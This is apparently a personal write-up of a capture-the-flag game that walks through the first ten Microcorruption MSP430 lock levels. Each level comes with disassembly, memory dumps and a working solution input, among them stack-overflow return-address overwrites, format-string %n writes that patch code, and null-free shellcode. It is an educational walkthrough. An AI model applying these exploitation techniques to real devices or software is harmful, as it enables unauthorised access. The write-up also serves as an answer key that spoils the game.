When the Microcorruption game first came out I beat the first sixteen levels and then I got stumped on the alphanumeric MSP430 shellcode level (damn MSP430 instructions). I started to go through the game again to beat more levels and take notes to reenforce my own knowledge of the subject. I suggest everyone check out the game first if you’re interested in learning about different exploitation techniques (stack overflows, heap overflows, format string vulnerabilities, etc.) and have been stuck around a rock for the last few years as its still a great war game.

Spoilers ahead…

Level 1 (Tutorial)

The main function calls the check_password function. Assuming that the check_password function doesn’t return 0 then access will be granted.

444a:  0f41           mov	sp, r15
444c:  b012 8444      call	#0x4484 <check_password>
4450:  0f93           tst	r15
4452:  0520           jnz	#0x445e <main+0x26>
4454:  3f40 c744      mov	#0x44c7 "Invalid password; try again.", r15
4458:  b012 5845      call	#0x4558 <puts>
445c:  063c           jmp	#0x446a <main+0x32>
445e:  3f40 e444      mov	#0x44e4 "Access Granted!", r15
4462:  b012 5845      call	#0x4558 <puts>
4466:  b012 9c44      call	#0x449c <unlock_door>

So we need to figure out when the check_password function returns a non-zero value. This function is pretty simple, it just loops through the inputted password (stored at r15) and determines its length. If the length is 9 then the function will return 1.

4484 <check_password>
4484:  6e4f           mov.b	@r15, r14
4486:  1f53           inc	r15
4488:  1c53           inc	r12
448a:  0e93           tst	r14
448c:  fb23           jnz	#0x4484 <check_password+0x0>
448e:  3c90 0900      cmp	#0x9, r12
4492:  0224           jeq	#0x4498 <check_password+0x14>
4494:  0f43           clr	r15
4496:  3041           ret
4498:  1f43           mov	#0x1, r15
449a:  3041           ret

So to solve this lock we just have to type in AAAAAAAA (nine characters when the null byte is included).

Level 2 (New Orleans)

This level contains a hardcoded password. Basically after retrieving the password the main function will call the check_password function to determine whether or not to unlock the lock.

444a:  b012 b244      call	#0x44b2 <get_password>
444e:  0f41           mov	sp, r15
4450:  b012 bc44      call	#0x44bc <check_password>
4454:  0f93           tst	r15
4456:  0520           jnz	#0x4462 <main+0x2a>
4458:  3f40 0345      mov	#0x4503 "Invalid password; try again.", r15
445c:  b012 9445      call	#0x4594 <puts>
4460:  063c           jmp	#0x446e <main+0x36>
4462:  3f40 2045      mov	#0x4520 "Access Granted!", r15
4466:  b012 9445      call	#0x4594 <puts>
446a:  b012 d644      call	#0x44d6 <unlock_door>

The check_password function just loops through the provided password in r15 and compares it with the string located at 0x2400. If the two strings are equal then the check_password function will return 1.

44bc <check_password>
44bc:  0e43           clr	r14
44be:  0d4f           mov	r15, r13
44c0:  0d5e           add	r14, r13
44c2:  ee9d 0024      cmp.b	@r13, 0x2400(r14)
44c6:  0520           jne	#0x44d2 <check_password+0x16>
44c8:  1e53           inc	r14
44ca:  3e92           cmp	#0x8, r14
44cc:  f823           jne	#0x44be <check_password+0x2>
44ce:  1f43           mov	#0x1, r15
44d0:  3041           ret
44d2:  0f43           clr	r15
44d4:  3041           ret

At this point we could just look at the memory tab to find the hardcoded password located at 0x2400.

2400:   572e 507a 3443 7600 0000 0000 0000 0000   W.Pz4Cv.........
2410:   *

But to make sure the password is not dynamically generated we need to look at the create_password function. Note that this function just writes a series of bytes to 0x2400 (0x57, 0x2e, 0x50, 0x7a, 0x34, 0x43, 0x76, and 0x00).

447e <create_password>
447e:  3f40 0024      mov	#0x2400, r15
4482:  ff40 5700 0000 mov.b	#0x57, 0x0(r15)
4488:  ff40 2e00 0100 mov.b	#0x2e, 0x1(r15)
448e:  ff40 5000 0200 mov.b	#0x50, 0x2(r15)
4494:  ff40 7a00 0300 mov.b	#0x7a, 0x3(r15)
449a:  ff40 3400 0400 mov.b	#0x34, 0x4(r15)
44a0:  ff40 4300 0500 mov.b	#0x43, 0x5(r15)
44a6:  ff40 7600 0600 mov.b	#0x76, 0x6(r15)
44ac:  cf43 0700      mov.b	#0x0, 0x7(r15)
44b0:  3041           ret

So to beat this level we need to input in 572e507a344376 (hex encoded).

Level 3 (Sydney)

“This is Software Revision 02. We have received reports that the prior version of the lock was bypassable without knowing the password. We have fixed this and removed the password from memory.”

This level also has a hardcoded secret, but it no longer appears in memory as a string. By examining the check_password function we can see that the entered password in r15 is compared against multiple words. The first word (16 bits) of the password is compared against 0x2957. The second word of the password is compared against 0x7d58 and so on.

448a <check_password>
448a:  bf90 5729 0000 cmp	#0x2957, 0x0(r15)
4490:  0d20           jnz	$+0x1c
4492:  bf90 587d 0200 cmp	#0x7d58, 0x2(r15)
4498:  0920           jnz	$+0x14
449a:  bf90 3b4f 0400 cmp	#0x4f3b, 0x4(r15)
44a0:  0520           jne	#0x44ac <check_password+0x22>
44a2:  1e43           mov	#0x1, r14
44a4:  bf90 5f72 0600 cmp	#0x725f, 0x6(r15)
44aa:  0124           jeq	#0x44ae <check_password+0x24>
44ac:  0e43           clr	r14
44ae:  0f4e           mov	r14, r15
44b0:  3041           ret

We might first try to provide 29577d584f3b725f as the password in hex, but that does not work because the MSP430 processor stores data in little-endian format. The correct password to provide in this case is 5729587d3b4f5f72 in hex.

Level 4 (Hanoi)

“Remember: passwords are between 8 and 16 characters.”

In this level the lock firmware connects with a HSM to verify a password. This involves calling interrupt 0x7d with two arguments (password to test and a memory address to overwrite with a flag), which occurs in the test_password_valid function. I initially spent time trying to understand that function but we just need to focus on understanding the login function.

4538:  3f40 0024      mov	#0x2400, r15
453c:  b012 ce45      call	#0x45ce <getsn>
4540:  3f40 0024      mov	#0x2400, r15
4544:  b012 5444      call	#0x4454 <test_password_valid>
4548:  0f93           tst	r15
454a:  0324           jz	$+0x8
454c:  f240 7200 1024 mov.b	#0x72, &0x2410
4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call	#0x45de <puts>
455a:  f290 b400 1024 cmp.b	#0xb4, &0x2410
4560:  0720           jne	#0x4570 <login+0x50>
4562:  3f40 f144      mov	#0x44f1 "Access granted.", r15
4566:  b012 de45      call	#0x45de <puts>
456a:  b012 4844      call	#0x4448 <unlock_door>

Notice that after calling the test_password_valid function, the login function verifies whether the password is valid by checking if the value 0xb4 is stored at 0x2410 (455a). The memory address 0x2410 just happens to be located directly after the address of the inputted password (0x2400). Basically both the inputted password and valid password flag exist in the data segment and are adjacent to each other, so we can use an overflow to control the flag.

Level 4 Flag Overflow

It turns out that there are no length checks on the inputted password so we can provide the following as the answer (17 character password will overflow into the flag byte). Cool.

41414141414141414141414141414141b4

Level 5 (Reykjavik)

“This is Software Revision 02. This release contains military-grade encryption so users can be confident that the passwords they enter can not be read from memory.”

For this level we first type in a password of AAAA and start debugging. Normally after inputting a password the debugger is paused at the instruction that exists in the text segment of the process just after input is received. This time the program counter is set to a value (0x2478) in the data segment of the process which is odd.

2470:   32d0 0080 b012 1000 3241 3041 d21a 189a   2.......2A0A....
2480:   22dc 45b9 4279 2d55 858e a4a2 67d7 14ae   ".E.By-U....g...
2490:   a119 76f6 42cb 1c04 0efa a61b 74a7 416b   ..v.B.......t.Ak
24a0:   d237 a253 22e4 66af c1a5 938b 8971 9b88   .7.S".f......q..
24b0:   fa9b 6674 4e21 2a6b b143 9151 3dcc a6f5   ..ftN!*k.C.Q=...
24c0:   daa7 db3f 8d3c 4d18 4736 dfa6 459a 2461   ...?.<M.G6..E.$a
24d0:   921d 3291 14e6 8157 b0fe 2ddd 400b 8688   ..2....W..-.@...
24e0:   6310 3ab3 612b 0bd9 483f 4e04 5870 4c38   c.:.a+..H?N.XpL8
24f0:   c93c ff36 0e01 7f3e fa55 aeef 051c 242c   .<.6..>.U....$,

If we reset the machine, set a break point on the main function, run the program, and inspect the same memory location then we will notice that the executable code that we observed previously while debugging does not exist in memory at the start of the main function. At this point we can intuitively assume that there exists some encrypted machine code that is decrypted at runtime in order to check the entered password.

2470:   8ff0 b083 6b3e b3c7 aefe b409 0000 0000   ....k>..........
2480:   0000 0000 0000 0000 0000 0000 0000 0000   ................
2490:   0000 0000 0000 0000 0000 0000 0000 0000   ................
24a0:   0000 0000 0000 0000 0000 0000 0000 0000   ................
24b0:   0000 0000 0000 0000 0000 0000 0000 0000   ................
24c0:   0000 0000 0000 0000 0000 0000 0000 0000   ................
24d0:   0000 0000 0000 0000 0000 0000 0000 0000   ................
24e0:   0000 0000 0000 0000 0000 0000 0000 0000   ................
24f0:   0000 0000 0000 0000 0000 0000 0000 0000   ................

For this level we don’t have to bother trying to reverse engineer the decryption routine because we can debug the application to figure out the hardcoded password. Just let the program decrypt itself.

Execute the program and type in AAAA as the password. The current instruction after entering a password is pop sr at 0x2478.

Step again. The current instruction is ret at 0x247a. We can assume that the program is returning from a function that was used to acquire the password input.

Step again. The current instruction is add #0x6, sp at 0x2444. This instruction is probably cleaning up the stack after the function call.

Step again. The current instruction is cmp #0x9a47, -0x24(r4) at 0x2448. Note that -0x24(r4) points to 0x43da (0x43fe - 0x24). 0x43da is within the stack segment and points to the password that we inputted. This is very interesting since our password is being compared with a hardcoded value.

Step again. The current instruction is jnz $+0xc at 0x244e. This is a branch statement that jumps based on whether our inputted password equals the hardcoded value.

Step a few more times and the PC is now 0x444e which is back in the text segment at the end of main function. The provided password was not correct, but all we have to do is input 479a in hex as the password to beat this level. Instead of jumping 0xc, interrupt 0x7f is called instead which triggers an unlock.

Level 6 (Cusco)

In the next level we have to exploit a simple stack based buffer overflow vulnerability. Lets start by reviewing the login function.

4500 <login>
4500:  3150 f0ff      add	#0xfff0, sp
4504:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
4508:  b012 a645      call	#0x45a6 <puts>
450c:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510:  b012 a645      call	#0x45a6 <puts>
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>

The add #0xfff0, sp operation subtracts 0x10 from the current stack pointer, which sets up 16 bytes of space for local variables on the stack.

Later on the the getsn function is called and it appears that two arguments are passed to the function via registers r14 and r15. r14 contains 0x30 and r15 points to the stack which is currently 0x43ee.

4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>

At this point we need to analyze the getsn function, which calls interrupt 0x2. In this environment INT 0x2 is the gets interrupt and it takes two arguments: the address to place the string and the maximum number of bytes. These arguments are pushed to the stack in reverse order, so gets will take a maximum of 48 bytes (0x30) from the user and write it to 0x43ee. This is a problem because the login function only allocated 16 bytes (*shrugs*).

4596 <getsn>
4596:  0e12           push	r14
4598:  0f12           push	r15
459a:  2312           push	#0x2
459c:  b012 4245      call	#0x4542 <INT>
45a0:  3150 0600      add	#0x6, sp
45a4:  3041           ret

So at the point we should be able to trigger a buffer overflow and overwrite the saved return address on the stack. When the ret opcode is executed at 0x453e the program will jump to a location that we control.

451e:  0f41           mov	sp, r15
4520:  b012 5244      call	#0x4452 <test_password_valid>
4524:  0f93           tst	r15
4526:  0524           jz	#0x4532 <login+0x32>
4528:  b012 4644      call	#0x4446 <unlock_door>
452c:  3f40 d144      mov	#0x44d1 "Access granted.", r15
4530:  023c           jmp	#0x4536 <login+0x36>
4532:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
4536:  b012 a645      call	#0x45a6 <puts>
453a:  3150 1000      add	#0x10, sp
453e:  3041           ret

If we force the program to jump to 0x4528 then the program will call the unlock_door function even though we provided an incorrect password. The following input will trigger the overflow and jump to the correct location.

414141414141414141414141414141412845

Here is what the stack looks like before and after.

Level 6 Overflow

Level 7 (Addis Ababa)

In this level we have to exploit a format string vulnerability in order to bypass the lock authentication.

We can identify that the vulnerability statically by looking at main function since there is a printf call in which the user controls the first argument. To verify that we have identified a format string vulnerability we can input a series of format specifiers as the credentials and see what the program outputs. For example, if we input %x.%x.%x.%x then we get the following output from the program.

Login with username:password below to authenticate.
>> .7825.252e.2e78
That entry is not valid.

It is clear from the output that the program is vulnerable given that the program outputted a series of unsigned integers from the stack instead of printing %x.%x.%x.%x.

From looking at the main function we know that the program retrieves the credentials from the user (getsn) and then checks the credentials using the HSM (test_password_valid). If the test_password_valid function returns a non-zero value then the door will be unlocked.

4458:  3f40 0024      mov	#0x2400, r15
445c:  b012 8c45      call	#0x458c <getsn>
4460:  0b41           mov	sp, r11
4462:  2b53           incd	r11
4464:  3e40 0024      mov	#0x2400, r14
4468:  0f4b           mov	r11, r15
446a:  b012 de46      call	#0x46de <strcpy>
446e:  3f40 0024      mov	#0x2400, r15
4472:  b012 b044      call	#0x44b0 <test_password_valid>
4476:  814f 0000      mov	r15, 0x0(sp)
447a:  0b12           push	r11
447c:  b012 c845      call	#0x45c8 <printf>
4480:  2153           incd	sp
4482:  3f40 0a00      mov	#0xa, r15
4486:  b012 5045      call	#0x4550 <putchar>
448a:  8193 0000      tst	0x0(sp)
448e:  0324           jz	#0x4496 <main+0x5e>
4490:  b012 da44      call	#0x44da <unlock_door>
4494:  053c           jmp	#0x44a0 <main+0x68>
4496:  3012 1f45      push	#0x451f "That entry is not valid."
449a:  b012 c845      call	#0x45c8 <printf>

Format string vulnerabilities can also be abused to write to an arbitrary memory location so we will target the variable that determines whether or not to jump at 0x448e. We can use the debugger to put a breakpoint on 0x448a to figure out that sp is 0x4076 at this point, so in my case to solve this level we need to write a non-zero value to 0x4076. Before we do that we will need to figure out what is on the stack when the printf function is called, so we can put a breakpoint on 0x447c and enter in AAAA as the credentials.

4070:   0024 0000 7840 0000 4141 4141 0000 0000   .$..x@..AAAA....

Level 7 Stack

At this point the sp is 0x4074. We can see that the address to the format string is on the top of the stack, so we can use the following input to beat this level.

76402578256e (v@%x%n in hex).

The following illustration demonstrates how this input exploits the vulnerability in order to write the value 2 to 0x4076 using the %n specifier.

Level 7 Format String Memory Write

Level 8 (Novosibirsk)

Level 8 also involves exploiting a format string vulnerability, but in this level the microcontroller is connected to HSM-2 not HSM-1 so we will use a different exploitation strategy. HSM-2 accepts a password from the microcontroller via a INT 0x7E call and can directly unlock the door therefore there won’t be a flag that we can manipulate in memory. Instead of manipulating the data segment with our exploit we can manipulate the text segment to unlock the door without the password since there is no memory corruption mitigation preventing this action.

Basically we will exploit the vulnerability and force the program to call INT 0x7F (directly unlock door) instead of INT 0x7E (HSM-2 call). We will alter the following code highlighted in red.

44b0 <conditional_unlock_door>
44b0:  0412           push	r4
44b2:  0441           mov	sp, r4
44b4:  2453           incd	r4
44b6:  2183           decd	sp
44b8:  c443 fcff      mov.b	#0x0, -0x4(r4)
44bc:  3e40 fcff      mov	#0xfffc, r14
44c0:  0e54           add	r4, r14
44c2:  0e12           push	r14
44c4:  0f12           push	r15
44c6:  3012 7e00      push	#0x7e
44ca:  b012 3645      call	#0x4536 <INT>

And change it to the following.

44b0 <conditional_unlock_door>
44b0:  0412           push	r4
44b2:  0441           mov	sp, r4
44b4:  2453           incd	r4
44b6:  2183           decd	sp
44b8:  c443 fcff      mov.b	#0x0, -0x4(r4)
44bc:  3e40 fcff      mov	#0xfffc, r14
44c0:  0e54           add	r4, r14
44c2:  0e12           push	r14
44c4:  0f12           push	r15
44c6:  3012 7f00      push	#0x7f
44ca:  b012 3645      call	#0x4536 <INT>

In order to pull this off we need to write 0x007f to 0x44c8. Lets start again by putting a breakpoint at 0x4476 after inputting AAAA as the credentials just like we did in the last level. We want to inspect the stack right before the code in the main function calls the printf function.

4458:  3f40 0024      mov	#0x2400, r15
445c:  b012 8a45      call	#0x458a <getsn>
4460:  3e40 0024      mov	#0x2400, r14
4464:  0f44           mov	r4, r15
4466:  3f50 0afe      add	#0xfe0a, r15
446a:  b012 dc46      call	#0x46dc <strcpy>
446e:  3f40 0afe      mov	#0xfe0a, r15
4472:  0f54           add	r4, r15
4474:  0f12           push	r15
4476:  b012 c645      call	#0x45c6 <printf>

sp is 0x420a at this point.

4200:   0000 9445 0200 0024 f401 0c42 4141 4141   ...E...$...BAAAA

The stack layout is shown in the following image. Note that the address to the format string is on the top of the stack followed directly by the actual format string, so there is no gap to account for.

Level 8 Stack

At this point we can create an input to exploit the vulnerability and write 0x007f to 0x44c8 to solve the level. Note that we are using A’s to increase the number of bytes written so far to 127 (0x7f).

c8444141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141256e

Level 8 Stack

The previous technique is pretty verbose (*cough* inefficient), but it doesn’t appear that the printf implementation that we are exploiting supports the width format specifier option, but we can optimize our answer by printing a long string that already exists in memory. Specifically we can print off 123 characters using the %s format specifier starting at 0xff83.

ff80:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44   .D.D.D.D.D.D.D.D
ff90:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44   .D.D.D.D.D.D.D.D
ffa0:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44   .D.D.D.D.D.D.D.D
ffb0:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44   .D.D.D.D.D.D.D.D
ffc0:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44   .D.D.D.D.D.D.D.D
ffd0:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44   .D.D.D.D.D.D.D.D
ffe0:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44   .D.D.D.D.D.D.D.D
fff0:   ac44 ac44 ac44 ac44 ac44 ac44 ac44 0044   .D.D.D.D.D.D.D.D

The following input also solves the level in eight characters by first printing off the string located at 0xff83 and then writing the number of characters already written to standard output (0x007f) to 0x44c8.

83ffc8442573256e

Either way the INT 0x7e call is changed to INT 0x7f, which unlocks the door.

Level 9 (Whitehorse)

Similar to level 6, in level 9 we must exploit a stack overflow vulnerability. In level 6 we simply redirected the flow of execution to a portion of the program that unlocks the door, but we can’t do that this time since this program using HSM-2. Instead we will include the following code in our input and force the program to jump to that code on the stack.

3012 7f00      push	#0x7f
b012 3245      call	#0x4532

Before we exploit the issue we need to know the size of the buffer and the address of the buffer on the stack. Just type in AAAAAAAA as the input and use the memory dump to view the stack right after the program receives the input. From inspecting the memory we know that the buffer size is 16 bytes and is located at 0x3e26.

3e20:   263e 3000 1245 4141 4141 4141 4141 0000   &>0..EAAAAAAAA..
3e30:   0000 0000 0000 3c44 0000 0000 0000 0000   ......<D........

Given this information we can construct an input to solve the level. Note that we are simply redirecting the execution flow to a location on the stack that we control. This level does not have any mitigations such as non-executable stack to prevent this action.

30127f00b01232454141414141414141263e

Level 9 Overflow

Level 10 (Montevideo)

Again, we must exploit a stack overflow, but exploiting this vulnerability is slightly more difficult. In the previous level the stack overflow was triggered by an INT 0x02 call that specified an improper number of bytes to read. In this level the stack overflow is triggered by a strcpy call, which will continue to copy characters until a null byte is encountered.

4508:  3e40 3000      mov	#0x30, r14
450c:  3f40 0024      mov	#0x2400, r15
4510:  b012 a045      call	#0x45a0 <getsn>
4514:  3e40 0024      mov	#0x2400, r14
4518:  0f41           mov	sp, r15
451a:  b012 dc45      call	#0x45dc <strcpy>

Basically, our shellcode can’t include a null byte in it. Otherwise our payload will only be partially copied over into the destination buffer. Before we build an exploit that doesn’t have any null bytes in it, lets determine the proper offsets. Place a breakpoint on 0x451a and type in AAAAAAAA as the input. Note that 0x43ee is the destination buffer address and again we are dealing with a 16 byte buffer. Anything past 16 bytes will overwrite the saved return address on the stack.

43e0:   6045 0000 aa45 0200 0024 3000 1445 0000   `E...E...$0..E..
43f0:   0000 0000 0000 0000 0000 0000 0000 3c44   ..............<D

In the previous level our shellcode simply pushed 0x7f onto the stack and called 0x4532 (INT function). You’ll notice that this payload contains the null byte (3012 7f00) so it is unacceptable.

3012 7f00      push	#0x7f
b012 3245      call	#0x4532

The solution that I came up with was just XORing two numbers together into r14 that will equal 0x7f (0x6412 ⊕ 0x646d = 0x7f), pushing r14 onto the stack, and then calling the INT function, which is 0x454c in this program.

3e40 1264      mov	#0x6412, r14
3ee0 6d64      xor	#0x646d, r14
0e12           push	r14
b012 4c45      call	#0x454c

Putting everything together we can use the following input to unlock the door.

3e4012643ee06d640e12b0124c454141ee43

Level 10 Overflow